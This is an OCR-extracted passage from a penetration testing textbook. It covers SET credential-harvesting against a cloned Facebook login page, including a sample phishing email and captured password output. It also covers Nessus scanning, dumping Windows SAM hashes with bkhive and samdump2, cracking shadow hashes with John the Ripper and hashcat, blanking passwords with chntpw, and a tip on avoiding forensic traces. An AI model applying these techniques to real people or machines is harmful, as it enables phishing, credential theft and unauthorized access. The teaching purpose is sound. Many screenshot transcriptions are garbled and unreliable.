[*] starting interaction with 1...

meterpreter > ipconfig

interface 1

: software Loopback interface 1
Hardware MAC : 00:00:00:00:00:00

: 1500
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0

Name

MTU

interface 10

: Intel (r) PRO/1000 MT Network connection
Hardware MAC : 00:50:56:a3:45:e2

: 1500
IPv4 Address : 10.62.3.137
IPv4 Netmask : 255.255.252.0

Name

MTU

J site or through XSS.comprom

The Web-Jacking Attack method was introduced by white sheep, Emgent
and the Back|Track team. This method utilizes iframe replacements to
make the highlighted URL link to appear legitimate however when clicked
a window pops up then is replaced with the malicious link. You can edit
the link replacement settings in the set config if its too slow/fast.

The Multi-Attack method will add a combination of attacks through the web attack
menu. For example you can utilize the Java Applet, Hetasploit Browser,
Credential Harvester/Tabnabbing, and the Man Left in the Middle attack
all at once to see which is successful.

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
S) web Jacking Attack Method
6) Multi-Attack Web Method
7) Create or import a CodeSigning Certificate

99) Return to Main Menu

>3
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You have the option of cloning a website, using a website template, or importing 

Popular sites such as Facebook, Gmail, and Twitter have templates. Entering 

templates and cloning a site just doesn't look right. In those cases, you should use 
a custom import. You can use web copier or web cloning software, which we have 
already discussed, to save a copy of a website on your Kali box. Once saved, use  
the custom import option to point to the copied website directory. You will need  
to experiment to see what option works best for your particular site.

We will choose option . We will be asked to enter a URL. We will  
clone https://www.facebook.com.

Note that we are entering the exact URL and specifying if we want the 
HTTPS or HTTP URL. In most cases, this will not make any difference 
because we won't host a secure website, but in some cases the HTTP 
site may be different than the HTTPS site.

We will also be asked to enter the IP address which SET will use to host the fake 
website. Most likely this will be the IP address of your Kali Linux box. However, if 
you are planning on directing victims to an address that's using a NAT translation 

SET will start waiting for connections once you have cloned a website and 

http://itbookshub.com

sei:w!

The first method will allow SET to import a list of p re -defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality .

mw aocma1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu
>%ÿet :

[ ]
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The next step is to direct users to the fake site. One common way to achieve this is 
sending out a fake e-mail also known as a phishing e-mail. SET can automate this for 
you, but for this example, we decided to do so manually. The next example shows a 
fake e-mail using our cloned Facebook link. When the user clicks on the link www.
facebook.com, they will be sent to our fake site at facebook.secmob.net.
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>2set Pat

|-J Credential harvester will allow you to utilize the clone capabilitiel

|-J to harvest credentials or parameters from a website as well as place
a report

1-1 This option is used for what IP the server will POST to.
(-1 If you're using an external IP, use your external IP for this
TabnabbingilO.0.1.235ress for the POST back in Harvester/T
I-] SET supports both HTTP and HTTPS
(-] Example: http://www.thisisafakesite.com

> Enter the url to clone:https://www/faceboo.com

[*] Cloning the website: https://login.facebook.com/login.php
[*] This could take a little bit..*.

d fomd

*] The Social -Engineer Toolkit Credential Harvester Attack
*] Credential Harvester is running on port 80
*] Information will be displayed to you as it arrives below:

Facebook <wwt,secmob@gmail.com>

To: Aamir Lrthani <Aamir.l*ktani®wwt com>
Facebook Security

May 29. 2013 4:42 PM

Sem Mail-]

Dear Facebook user,

In an effort to make you online experience safer and more enjoyable, Facebook will be
implementing a new login system that will affect all Facebook users. These changes will
offer new features and increased account security.

Before you are able to use the new login system, you will be required to update your
account.

Please click on the link below to update your account online now

www.facebook.comP

http* //facebook.tccmob.nct/

If you have any questions, reference out New User guide.

Thanks,

The Facebook Team

Facebook will never ask you for your password in an email or Facebook message. Learn

more about how to keep your account secure.
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You can see in the following screenshot our cloned page looks like Facebook, but 
the URL is not really Facebook. The attack assumes the victim will not notice the 
slightly different URL, which is why real phishing attacks use similar domains to 
the real website.

When the victim enters his or her name on the fake site, SET will redirect the user 
to real site. In most cases, users will enter their password a second time on the real 
site and be logged onto the site, never realizing they have been attacked. On the Kali 
Linux system running SET, you can see that the password is captured.
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riuJ cr tan fubBcrd

facebook Mr f nun

Sign Up
Connect with friends and the
world around you on Facebook*

is Free and always w II be.

Firit Hjme Lift Nline

¥our Email

IB See photos,and uF<latc5 , FMC

Re-errJcr Fma,il

New Password

Birihday
Uÿnlh Oxv d Y?JC ll

Female Male

Shift litw in VGV lif? an your 1 1 —
wrn I e*(«r

Srt"U'll**+
Find mt>rc ? : J 'ÿÿÿ lee - i for wr1:- 'L-'ap Search

0*0
lÿ r 5-gi Ua, ie-*ji Tmn rui VHJ

' j.-r IITJ- DJ.' j -vt P-I-T:. LLÿIJ -,V*

(.'til# i PJ<JF lar <. B!r :11y, bx-d or bx kionv

[*] WE GOT A HIT! Printing the output:
PARAM: UserName-Ladi
POSSIBLE PASSWORD FIELD FOUND: UserPassword=lLoveToDance
PARAM: target=%2f
PARAM: Log+0n.x=59
PARAM: Log+On.y=10
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
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In addition to the live log, SET will generate a report of the incident so that the 
attacker can leverage the stolen credentials at a later time.

When using tools such as SET to attack clients, it is important for a Penetration Tester 

using a proxy server to examine and intercept web requests.

In Chapter 6, Web Attacks, we will look at Proxies in much greater detail; however, it 
is still important to learn how to examine how the client is behaving when using web 
attacks such as using SET as described preceding paragraph.

MitM Proxy
MITM Proxy is a great tool for a Penetration Tester to examine the client's 
vulnerabilities. It allows the administrator to examine the HTTPS connection, halt, 

or response from a web server.

MITM Proxy can allow a Penetration Tester to examine the attacks quickly and  
see what requests and responses are coming from the web browser. MITM Proxy 
can be launched by going to Kali |  | Web Sniffers and 
selecting mitmproxy.
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M *

Home of the Social-Engineer Toolkit

The Social-Engineer Toolkit (SET) Report Generator_
SocUl-Cn|1n««r Tbothtt (SET) report on URL-t*tp.//www.ctfw.com

Report generated by the Social-Engineer Toolkit

Welcome to the Social Engineer Toolkit Report Generation Tool. This report should contain information obtained during a
successful phishing attack and provide you with the website and all of the parameters that were harvested. Please remember
that SET is open-source, free, and available to the information security community. Use this tool for good, not evil.
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Its recommended to use MITM Proxy when setting up a SET attack, as 
well as when analyzing the behavior of that attack. You should run SET 
and MITM Proxy at the same time in a test environment.

Once MitM proxy is loaded, you will need to point your client's web browser to the 
your Kali server. MITM will display the web requests transactions that occur on the 
client-side as shown in the following screenshot:

There will be a log of all browser activity going through the client. Although MITM 
Proxy is not used as an active component in a typical web Penetration Test, it is a 
great tool to use when setting up and testing SET before using the package in a live 
environment. In later chapters, we will examine other types of proxies; however, the 
reason we like MitM Proxy is because it is an easy way as Penetration Tester you can 
test attack tools by having them connected directly on your Kali Linux box.

Host scanning
A common method to accessing host systems is by identifying and exploiting 
vulnerabilities in the operating system, installed applications, and other programs. 
Tools such as Nessus are automated methods to evaluate systems for known 
vulnerabilities. This section will cover how to install and run Nessus against a target 
system. Exploitation tools covered in Chapter 3, Server-side Attacks, can be used to 
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Host scanning with Nessus
Nessus does not come pre-installed with Kali. You will need to obtain a registration 
code from Tenable to use Nessus. Tenable gives a home feed option, but is limited 
to scanning 16 IP addresses. If you would like to scan more IPs, you must purchase a 
professional feed from Tenable.

Installing Nessus on Kali
 is available for non-commercial, personal use only. If you will 

use Nessus at your place of business, you must purchase Nessus . 
To get an activation code for Nessus go to http://www.tenable.com/products/
nessus/nessus-homefeed.

Nessus does not come preloaded with Kali and will need to be installed. You will 

but the Debian 6.0 version works well.

1.	 Download Nessus for Debian. Go to the site http://www.tenable.com/
products/nessus/select-your-operating-system to download Nessus 
for Debian 64-bit.

Note that when you download Nessus, you can copy it to the /tmp 
directory. If you input these commands from another directory, you 
will need to adjust the commands.

2.	 Go to the directory where you downloaded Nessus and issue the  
following commands:
ar vx Nessus-5.2.1-debian6*

tar -xzvf data.tar.gz

tar -xzvf control.tar.gz

ar vx Nessus-5.2.1-debian6*,

tar -xzvf data.tar.gz

tar -xzvf control.tar.gz

There will now be an etc directory and an opt directory.
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3.	 Copy the nessus directory in /tmp/opt/ to the /opt directory; make the /
opt directory if it doesn't exist. Issue the following commands:
mkdir /opt (You may get an error stating the /opt directory exists 
however, move to the next command).

cp -Rf /<installed folder>/opt/nessus /opt

cp -Rf /<installed folder>/etc/init.d/nessus* /etc/init.d

4.	 You can delete the contents of the Nessus download from the /tmp directory.
5.	 To start Nessus, issue the following command:

/etc/init.d/nessusd start

6.	 Log onto the Nessus management interface. Open a browser and navigate  
to https://127.0.0.1:8834.

you will be greeted with a few welcome messages, 
and a SSL warning will pop up letting you know you are connecting to a self-signed 

your activation code and download the latest plugins.
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|root@kali:/Nessusl# cp -Rf /Nessusl/opt/nessus/ /opt/
root@kali:/Nessusl# cp -Rf /Nessusl/etc/init .d/nessus** ZeW/imt .d
root@kali:/Nessusl# /etc/init .d/nessusd start
{Starting Nessus : .
|root(akali:/Nessusl#

nflessus'

Welcome to Nessus® 5

Thank you for installing Nessus, the world leader in vulnerability scanners. Nessus will allow you to perform:

•High-speed vulnerability discovery, to determine which hosts are running which services

•Agentless auditing, to make sure no host on your network is missing security patches

•Compliance checks, to verify and prove that every host on your network adheres to the security policy you
defined

•Scan scheduling, to automatically run scans at the frequency you select

•And more!

During the next steps, we are going to create an administrative account and register your scanner with a Plugin Feed,
which we will download. You will need an Activation Code before you can use Nessus; if you do not have an Activation
Code already, please go to http://www.nessus.orq/reqister/ to get one now.

Get started >
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You will also set a username and password that will be used to manage the Nessus 
application. The following screenshots show setting up an account and providing the 
activation code e-mailed by Tenable after registering:
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Messus

Initial Account Setup

First, we need to create an admin user for the scanner. This user will have administrative control on the scanner; the
admin has the ability to create/delete users, stop ongoing scans, and change the scanner configuration.

Login:[
Password:[

Confirm Password: (

< Prev Next >

Because the admin user can change the scanner configuration, the admin has the ability to execute commands on the
remote host. Therefore, it should be considered that the admin user has the same privileges as the "root" (or
administrator) user on the remote host.

gistration

iw vulnerabilities is discovered and released into the public domain, Tenable's research staff
gins") that enable Nessus to detect their presence. The plugins contain vulnerability
m to test for the presence of the security issue, and a set of remediation actions. To use
ibscribe to a "Plugin Feed" to obtain an Activation Code.

tivation Code

Activation Code:
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Initial download of the plugins can take some time, so be patient.

Once all the updates have been downloaded and initialized, you will be presented 
with the login screen. Use the username and password you set up during the  
initial installation.

To start a scan, click on the Scan tab on the top ribbon and select New Scan. You will 
be then prompted to enter details of the target. You will also be asked to select what 
template you would like to use. Nessus has a few built-in templates. In this example, 
we are choosing external network scan.
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Qnassur
Nessus is fetching the newest plugin set

Please wait...

The Nessus server is now downloading the newest plugins from Teneble which may take some time as we're testing for a lot of stuff.

Then, the Nessus server will start processing the plugins, which is CPU / disk intensive and, therefore, takes a lot of time -- this is all part of the installation process.
Once the plugins are downloaded and processed, subsequent startups will be much faster.

Since this operation is taking some time, here are some useful links:

•Documentation: This page contains all of the manuals that you'll need to get the most out of Nessus and its features.

•Discussion Forums: Do you need some help or want to interact with the Nessus community’ This would be the place to go'

•Nessus Video Tutorials: Our YouTube channel contains a lot of videos that will help new Nessus users get started, and experienced users to discover new
features.

•Support Portal: Manage your feed, open support tickets and get sample security policies (audit files).

•Tenable Blog: Contains dally posts about new features for all of our products: Nessus, SecurityCenter, the Log Correlation Engine (LCE), and the Passive
Vulnerability Scanner (PVS).

•Mandatory Sales Pitch: Do you intend to use Nessus to scan a large network? Take a look at Tenable SecurityCenter to see how you could leverage multiple
scanners In your environment and share the results with the rest of your team.

•Tenable Podcast: Tenable regularly holds a podcast where we discuss about major security events of the week.
•Twitter: Yup, we're there too.

Thanks again for Installing Nessus, and for your patience while the plugins are getting downloaded and processed. We hope you'll enjoy Nessus 5's new features'

Good luck with the audit of your network!

Nessus vulnerability scanner

XUsername

aPassword

Sign In To Continue

Looking for the older Rash interface?

tenable
network security
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If the Scan tab isn't available, you can also select Scan Templates 
and New Scan to create a new scan.

After you select , the scan will launch at the scheduled time. The default 
schedule will run instantly, so in most cases, the scan will start to immediately run.

After the scan is completed, the results can be viewed by clicking on the Results tab. 
This will provide the administrator a report of what Nessus found.
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]
XO New Scan

Scan Title CloudCentrics

Scan Type Run Now

Scan Policy External Network Scan

clcudcentric3.ccirjScan Targets WWW.

No file chosenUpload Targets Choose File

Create Scan Cancel

Nessus' admin Help & Support Sign Outvulnerability scanner

Results Templates Policies Users Configuration

-dp- Listing Scans + New Scan O Options v

Scan Title Created By Start Time v Status

CloudCentrics admin May 09, 2013 00:04:44 0

Network Security® is Reserved

Nessus’vulnerability scanner
1

Scans Templates Policies Users Configuration
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We can examine the completed scans as well as any results collected so far in any 
active scans as shown in the following screenshot:

As a Penetration Tester, you want to pay attention to any vulnerabilities. 

number can be searched in the Metasploit framework to use an exploit on a  
target host. Refer to Chapter 3, Server-side Attacks, on how to use Metasploit for 
more information.

The preceding example shows some extremely dangerous vulnerabilities (don't 
worry, we went back and patched the systems). All of these vulnerabilities can be 
used to exploit a system using Metasploit or other attack tools. For more on exploiting 
vulnerabilities found by Nessus, see Metasploit in Chapter 3, Server-side Attacks.
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Results section and select a completed scan. The third tab on the 
left provides options for exporting scans, as shown in the following two screenshots:

Nessus Export Scan

Obtaining and cracking user passwords
recovering passwords from data that has been 

stored or transmitted by a computer system. Passwords are used to secure various 
system types, which we have touched upon in Chapter 3, Server-side Attacks, while 
attacking web servers.

regarding how they store and protect user passwords. This section will focus 
Web Application 

Penetration Testing book, because host systems are a common authorized client to 
web applications. Compromising a client means opening a door to access a targeted 
web application.

The easiest method to obtain user passwords is through social engineering. As 
previously described, a hacker could obtain passwords or clues to how passwords 
are created by posing as an authorized subject. For example, identifying that all 
passwords must be between 6-10 characters, start with a capital letter, and end with 
a number dramatically reduces the number of possible outcomes a hacker would 
need to attempt to crack a password. (Kali offers a tool called  that makes 
generating a password list for this type of attack extremely easy).
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0\/S Scanl Export F %» Filter Options

I§ Ho Export Scan Results

HTMLExport Format

Export Results

Select chapters to include:

Hosts Summary (Executive) Vulnerabilities By Host Vulnerabilities By Plugin

Export Cancel
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A savvy Penetration Tester should use Reconnaissance techniques presented in Chapter 
2, Reconnaissance, to identify system types, possible password policies, people involved 
with administering systems, and other information that would help narrow down the 
possibilities required to crack a password.

There are a few ways hackers crack passwords. These are listed as follows:

Guess: Manually guess using information obtained about a target
Dictionary attack: Use an automated attack that tries all the possible 
dictionary words
Brute-force: Try all the possible character combinations
Hybrid: Combining dictionary with brute-force

Passwords must be stored so that the systems can verify a user's identity and access 

Most systems do not use encryption as the only means to protect passwords, because a 

Hashing was invented as a means to transform a key or password, usually arithmetic, 
into a completely different value. Hashing is non-reversible and outputs the same 

entered password to verify authenticity. Changing one factor, such as making a letter 
capital or adding a space, generates a completely different hash output.

Hashes can be brute-forced like a password if you know the formula for generating 
a Hash. Many password cracking tools such as John the Ripper are capable of 
detecting a hash and brute-force attacking all hash output combinations with  
auto-generated hash outputs. Once a match is found, John the Ripper will print  
out the plain text password used to generate the matching hash.

Rainbow tables are the worst adversary to common Hash algorithms. Rainbow 
tables are a pre-computed database of all the hash outputs that could be searched 
to identify a hash output. Websites such as www.freerainbowtables.com offer 
versions for popular hash algorithms such as MD5 found in most Windows systems. 
Kali also offers applications such as  used to generate Rainbow tables.

Salting a hash was created as a means to combat Rainbow tables by adding 
additional custom bits to change the output of a hash to something not found  
in common Rainbow tables. Unfortunately, many systems such as Windows do  
not use salted hashing.
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Windows passwords
Windows is the most common operating system used by businesses worldwide. 
Microsoft has had a rocky road regarding protecting passwords. The current 
Microsoft products are much more secure than older versions; however, they are  
still vulnerable to attacks by many tools offered in Kali.

Windows stores passwords in the SAM (System Account Management) registry  
Active Directory is used. An Active Directory is  

a separate authentication system that stores passwords in a LDAP database. The SAM 
C:\<systemroot>\sys32\config.

The SAM
SAM

Windows is running. The SAM
 

SAM C:\, booting a Linux distribution on  

SAM C:\<systemroot>\repair folder. 
The backup SAM

do this. The command is Expand [FILE] [DESTINATION]. Here is an example of 
expanding the SAM SAM

C:\> expand SAM uncompressedSAM 

hacking, Microsoft Windows 2000 and 
newer versions include a SYSKEY utility. The SYSKEY utility encrypts the hashed 
passwords in the SAM  
key for each installation.

An attacker with physical access to a Windows system can obtain the SYSKEY  
(also called the boot key) by using the following steps:

1.	 Booting another operating system (such as Kali).
2.	 Stealing the SAM and SYSTEM hives (C:\<systemroot>\sys32\config).
3.	 Recovering the boot key from the SYSTEM hive using bkreg or bkhive.
4.	 Dump the password hashes.
5.	
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Note that if you access a file in Windows, you modify the MAC (modify, 
access, and change), which is how Windows logs your presence. To avoid 
leaving forensic evidence, it is recommended to copy the target host 
system prior to launching attacks.

Mounting Windows
There are tools available for capturing the Windows SAM and SYSKEY

fdisk -l command to identify your partitions. You must 
identify the Windows and partition types. The fdisk output shows a NTFS partition, 
as follows:

Device Boot Start End Blocks Id System

/dev/hdb1* 1 2432 19535008+ 86 NTFS

/dev/hdb2 2433 2554 979965 82 Linux swap/Solaris

/dev/hdb3 2555 6202 29302560 83 Linux

Create a mount point using the command mkdir /mnt/windows.

Mount the Windows system using the command as shown in the following example:

mount -t <WindowsType> <Windows partition> /mnt/windows

Now that your target Windows system is mounted, you can copy the SAM and 
SYSTEM

cp SAM SYSTEM /pentest/passwords/AttackDirectory

There are tools available for dumping the SAM PwDump and   
are just a few examples. Kali offers samdump shown, in the password tools section  
of this chapter.

Note that you will need to recover both the Bootkey and SAM
The Bootkey SAM
SAM Bootkey

http://itbookshub.com
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ot@kali:~# mkdir /mnt/windows
ot@kali:~# mount -t ntfs-3g /dev/hdbl/mnt/windows|
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bkreg and bkhive are popular tools that can obtain the Bootkey
following screenshot:

Linux passwords
Linux host systems are not as common as Windows and pose a different challenge 
for obtaining ROOT access. Many systems may have passwords stored in the clear 
when auto-login is enabled such as the .netrc
most attacks, you will want to capture the passwd and shadow
at /etc/passwd and /etc/shadow.

The shadow shadow 
SAM  

the shadow grub.

Breaking a Linux password is similar to other systems such as Windows. Most 
hybrid automated cracking programs such as John the Ripper can identify the type 
of hash and brute-force attack the shadow passwords with the right dictionary.

Kali password cracking tools
Kali offers various utilities to bypass password security. Password cracking tools can 
be found under Password Attacks
attacks. This section will focus on tools used to compromise host systems during a 
web application Penetration Test. There are other tools available in Kali, such as tools 
designed to crack passwords for wireless protocols; however, that is out of scope for 
this text.
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it bkhive ywin/wlNOOwS/systemJJ/corir iq/system key.txt

bkhive 1.1.1 by Objectif Securite

http://www-ot>jecu r- secu rite,ch

original author: ncuomo@st udentl . unina .It

t

Root Key : SS:
Default Controiset: 902
Boot Key: 9<?5Seb2
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Note that John the Ripper command line and Hydra were covered in 
Chapter 3, Server-side Attacks. 

Johnny
Johnny is a GUI for the very popular John the Ripper password cracking tool. We 
covered the traditional command-line version of John the Ripper is Chapter 3, Server-
side Attacks. Like the command-line version, Johnny has several engines that allows 
it to crack different types of passwords, including encrypted and hashed passwords. 
Johnny has the ability to auto-detect most hashes and encrypted passwords, making 
the process easier for Penetration Testers. Attackers like the tool because it is very 

password cracking.

Some customizations may not be available in Johnny. We recommend the 
command-line version, John the Ripper, for most attacks.

John the Ripper operates in the following manner:

Attempts cracking passwords with dictionary words
Uses dictionary words with alphanumeric characters appended and 
prepended
Puts dictionary words together
Adds alphanumeric characters to combine words
Runs dictionary words with special characters mixed in
When all else fails, attempts brute-force.

To use Johnny, go to Password Attacks |  and select Johnny.  
Click on  and select the  
The following screenshot shows a shadow , mary, and joey  
as the targets.
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The Password

 tab is where you select 

behavior and options for selecting the type of hash. Johnny's auto-detection is 
typically 90 percent correct.

http://itbookshub.com

v x Johnny

File Attack Passwords

Hi
Open Passwd File Start Attack Copy

o Password HashUser GECOS

syslog19 15742:0:99999:7Passwords x

sshd20 15742:0:99999:7X

landscape21 15742:0:99999:7Options x

messagebus

nobody

22 15742:0:99999:7x

23 15742:0:99999:7Statistics x

X mysql24 15742:0:99999:7

avahi25 * 15742:0:99999:7Settings

m 26 15742:0:99999:7snort *

statd27 * 15742:0:99999:7Output

usbmux 15742:0:99999:728 *

pulse

rtkit

29 * 15742:0:99999:7

30 * 15742:0:99999:7

festival31 * 15742:0:99999:7

>33 BOB

( 34 mary

35 joey

$6$NihLh90... 1577. -.0:99999:7

$6$6mNj7T... 15771:1:99999:7

$6$uqEpDb... 1577'/):99999:7

v x Johnny

File Attack Passwords

h
Open Passwd File Start Attack

O General options

Passwords Format: Auto detect

m desMode selection and settings

O Default behaviour

O "Single crack" mode

O Wordlist mode

O "Incremental" mode

O External mode

bsdi

md5

ui bfa
afsStatistics
ImX crypt

Settings

Default behaviour "Single crack" mode Wordlist modem dummy

With default behaviourJohn the Ripper will run "single crack" mode, then wordlist mode, then "incremental" mode. All with default settings.Output
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The Statistics tab displays how long Johnny has been running an active session.  
The Settings run as shown in the following example:

Note that the default settings for the path to John the Ripper may not be 
correct. Make sure to verify the path to John the Ripper under Settings. 
In older versions of BackTrack, we found you have to update the path 
manually to /pentest/passwords/john/john. Kali 1.0 default is /
user/sbin/john.

The  tab showcases what 
messages and updates on the status of an attack session. The following example 
shows a message displaying Johnny identifying the type of hash:

John the Ripper and its GUI frontend's default wordlists are very limited. We 
recommend using a larger list, which can be found by searching online. To use a 
custom wordlist, go to the  tab and select Wordlist mode. Browse to your 
custom wordlist and click on Apply.
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* Johnny

File Attack Passwords

« I
Pause Attack

o Reset Settings back to saved state

Passwords
Fill Settings with default values

H[Path toJohn the Ripper executable: I /pentest/passwords/john/john

Time interval in seconds between cracked passwords picking r
(edit john.conf respectively):

Apply Settings as soon as they are changed

Browse
Options

600

Apply Settings but do NOT SAVE themStatistics

Apply and Save Settings

Settings

Warning; detected hash type "shaSLScrypt", but the string is also recognized as *crypt"
Use the "--format-erypr option to force loading these as that type instead
uch file or directory
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following screenshot shows two of the three passwords cracked:

 

hashcat and oclHashcat

hashcat and oclHashcat are password cracker utilities. oclHashcat is a GPGPU-
based version. The hashcat/oclHashcat utilities are multithread tools that can handle 
multiple hashes and password lists during a single attack session. The hashcat/
oclHashcat utilities offer many attack options, such as brute-force, combinator, 
dictionary, hybrid, mask, and rule-based attacks.
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o General options

Format:Passwords Auto detect T

Mode selection and settings

O Default behaviour

O "Single crack" mode

O Wordlist mode

O "Incremental" mode

O External mode

>y,iT7

Statistics

X
Settings

Default behaviour "Single crack" mode Wordlist mode "Incremental" mode External modem
Wordlist mode uses data from wordlist file. As an addition rules could be applied. Section "Wordlist" would be used to mangle words with
rules.

Output

Wordlist file: /root/Desktop/wordlist.lst Browse

|Use rules|

Use external mode, filter name: v

$6$NihLh90v$peHqQGU... 1 15771:0:99999:7:::

$6$6mNj7TNd$tYkHl3k... 1 15771:0:99999:7:::

33 BOB test

happy34 mary

S6$uqEpDbnE$/qe4JVGa... 15772:0:99999:7:::35 joey

75% (3/4: 3 cracked, 1 left) []

I hashcat

i advanced
password
recovery
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BackTrack offers many versions of hashcat found under Privilege Escalation 
| Password Attacks | . The "ocl", or open cl, is the open 
implementation to unify the Nvidia and ATI GPU drivers. Some versions may 
not run even after updating BackTrack. You may need to download the updated 
versions from www.hashcat.net.

To use hashcat, open the hashcat application or navigate to Password Attacks  
|  | hashcat.

To use hashcat on a document, type hashcat [options] hashfile 
[wordfiles|directories. The following example shows hashcat running a 
wordlist against a shadow

hashcat offers a GUI as well, which acts as a frontend for the CLI. Some people like 
it, because it's simple to use and includes displaying the command-line code at the 
bottom window.
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root@kali:~# hashcat /root/Desktop/shadow /root/Desktop/wordlist .1st
Initializing hashcat V0.44 by atom with 8 threads and 32mb segment -size.. .

hashcat odHashcat-plus odHashcat-lite

Open... |Hash file or hash: D:/tools/hashcat-gui-0,5.0/odHashcat-plus/example500, hash

[7] Remove hash from hash list once it is cracked Q Ignore username in hashfile

Word lists

m D:\tools\hashcat-gui-0.5.0\oclHashcat-plus\example.diet

Add files... |

Add folder.

Remove

Mode: Straight

Rules

o Use rules files:

[7] Rules file: :-plus/rules/best64.rule

Rules file:

Rules file:

© Generate rules: 1 1

Hash type: MD5

Assume charset is given in hex

Assume salt is given in hex

Mask
Open...

Open...

] [ Open... ] Custom charsets

Charset 1:

Charset 2:

Charset 3:

I I Charset 4:

Password length

S•1 16 EEflLength: 1

Resources Output

CPU affinity:

GPU devices: 0
[TliWrite recovered hashes to file:

mGPU workload tuning: 8
ashcat-plus/example500.hash.out | Open...

Format: hash[:salt]:plain
GPU loops: 256

GPU watchdog: 90

Segment size: 32 MB

| oclHashcat-plus64.exe -remove -rules-file D:/tools/hashcat-gui-0.5.0/odHashcat-plus/rules/bestfStart
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samdump2
samdump2 is a utility that dumps the Microsoft Windows password hashes from 
a SAM
Windows, you will need another tool to capture the SYSKEY  
access the hashes stored in the SAM database.

samdump2 can be found under Password Attacks |  | samdump2. 
When you open samdump, a Terminal window will pop up.

You must mount your target Windows system so that samdump can access the SAM

Next, copy the SAM and SYSTEM

cp SAM SYSTEM /root/AttackDirectory

Navigate to the attack directory and issue bkhive SYSTEM bootkey to obtain the 
samdump has the SAM

bootkey.

cd /root/AttackDirectory > windowshashfiles.txt

Execute samdump using the samdump SAM bootkey command. Copy the output  

Samdump2 SAM bootkey > windowshashfiles2.txt

Now use a password cracking tool such as John the Ripper to crack the hashes!

chntpw
chntpw is a tool on Kali Linux, Backtrack, and other Linux distributions that resets 

Windows password database. This tool is primarily used for getting into Windows 
boxes when you do not know the password.

http://itbookshub.com

samdump2 1.1.1 by Objectif Securite
http://www.objectif -securite .ch
original author: ncuomo@studenti.unina.it

Usage:
samdump2 samhive keyfile
|root@kali:~#|

root@kali:~# mkdir /mnt/windows
root(dkall mount -t ntfs-3g /dev/hdbl/mnt/windows§
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To use chntpw, boot up the Windows machine with the Kali Live CD. To download 
Kali Linux, go to http://www.kali.org/downloads/ and download the ISO image.

Burn the ISO to a CD and boot the Windows machine with the Live CD. On the boot 
menu for Kali, select  option.

The SAM /Windows/System32/config. You will need 
to navigate in the Terminal screen to this directory. On your system, it may look 
something like this:

/media/hda1/Windows/System32/config

Every system might be slightly different. In this example, Kali seems to be using the 
serial number of my hard drive as the device location. This is because I have booted 
up a Windows 7 virtual machine with the Kali Live CD. The SAM database is usually 
in the /media/name_of_hard_drive /Windows/System32/config.

http://itbookshub.com

ft

mm aocron
Boot reixi

LLui? (Siiii-pde)
Liue (Baii-pi'i; failsafe)

Liue (forensic nude)

Jnstal I
Graph ica| install
Install uith speech

Press EHIEH to boot or TftB to edit a nenu entry

iij# pwd

|/media/EC08E2D208E29ABA/Windows/System32/config
i :/medid/EC08E2D208E29ABA/Windows/System32/conf iq#|root(
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The following screenshot lists the SAM

The command chntpw -l SAM will list out all the usernames that are contained on 
the Windows system. The following screenshot shows us the result of running the 
command chntpw –l SAM:

The command gives us a list of usernames on the system. When we have the 
username we want to modify, we run the command chntpw -u "username" SAM.

In this example, we have typed chntpw -u "Administrator" SAM, and we got the 
following menu:

We now have the option of clearing the password, changing the password, or 
promoting the user to administrator. Changing the password does not always work 
on Windows 7 systems, so we recommend clearing the password. By doing this, you 
will be able to log into the target system with a blank password.

http://itbookshub.com

rootQkal i :/media/EC08E2D208E29ABA/Windows/$ystem32/conf ig# Is -1 SAM*
1 root root 262144 Jul 5 2013 SAM

1024 Apr 12 2011 SAM. LOG
25600 Jul 5 2013 SAM.L0G1

0 Jul 14 2009 SAM.L0G2
root(dknl i :/media/EC08E2D208E29ABA/Windows/System32/conf ii|#|_

- rw
1 root root
2 root root
2 root root

- rw
- rw
- rw

* SAM policy limits:
Failed logins before lockout is: 0
Minimum password length
Password history count

: 0
: 0

RID Username Admin? |- Lock? -
ADMIN | dis/lock
ADMIN

| 01f4
| 03e8

I 01f5
j 03ea j HomeGroupUser$ j

ik.il i :/media/EC08E2D208E29ABA/Windows/Systeni32/confiq# B

Administ rator
alakhani
Guest dis/lock

- - - - User Edit Menu:
1 - Clear (blank) user password
2 - Edit (set new) user password (careful with this on XP or Vista)

3 - Promote user (make user an administrator)

(4 - Unlock and enable user account) [seems unlocked already]
q - Quit editing user, back to user select

Select: [q] >|_

www.freepdf-books.com



Client-side Attacks

[ 164 ]

To access chntpw, go to Password Attacks |  | chntpw. A Terminal 
window will open, showcasing the welcome screen for chntpw. There are a few 
ways to use chntpw, as described on the main landing page as follows:

To use the interactive mode, type chntpw -i and the path to the SAM
is a mounted system, you will need to specify the location of the SAM
mounted directory.

A menu will popup providing options for changing the SAM
option 1 to blank out the password.

http://itbookshub.com

chntpw version 0r99,G 09G526 Isiÿtyfour), -c j P?tter N Hagen

cnniPH1: change password of a user in a M /2A / IfP/SkG./Vist-a SAH file, or invoke re
glsmy editor.
cMipw L OPT3GIV5-J *sanfile> [sy&iohtilo] [ itytito] [Gtharioghivc] ]...|

This nassdrjLi
ytempra to change. Adninijtrntor is dsfd-ilt
list sll ussrÿ in EAH file
Interactive. List users (as -H then ask for use more to manqe
Registry editor. Now with fuU write support!

Enter puffer debugger instead 1he* editor) ,

T rata. Shaw haxdunp of struocsAaagiiants . (deprecated debug Tune non

-h
-u

-d
-t

)

Gr a Tit t Is nor* verbose (for debuging)
Write nqnes ef changed files to /tnp/chonqed
No allocation rrode. Only (old style! 5ane Length overwrites pessibl

-v

‘N
e
See readne- fit* on how to get to the registry rues, ard vÿiat they art.
Soure a/hina r-y Treaty disc rifcutabla under GPL v2 license. Sea README Tor details.
NOTE; "Ills pricgrOn is ncirqvd'iaE hOCkish1 Ytu ar° On yOur u«i!

iMhicAk.il i ;-t| nni

Account bits; 0*G21L *
|X) Disabled

I 1 T«*p. duplicate I Ixl Norapl account
I ] poeain trust at j
|X] Fvd don't espir |

I ] (unknaver OK LQ)

I Honedir neg. I Passwd not rag.
I ivns account
I srv trust act
I {unknown Axtifl)

I (unknown 0*40)

tks trust act.
Auto lockout

) (unknown OK £0 )

Failed login count; 3, while iai tries is; U
Total login count: 25

- - - - User EJit Nenu
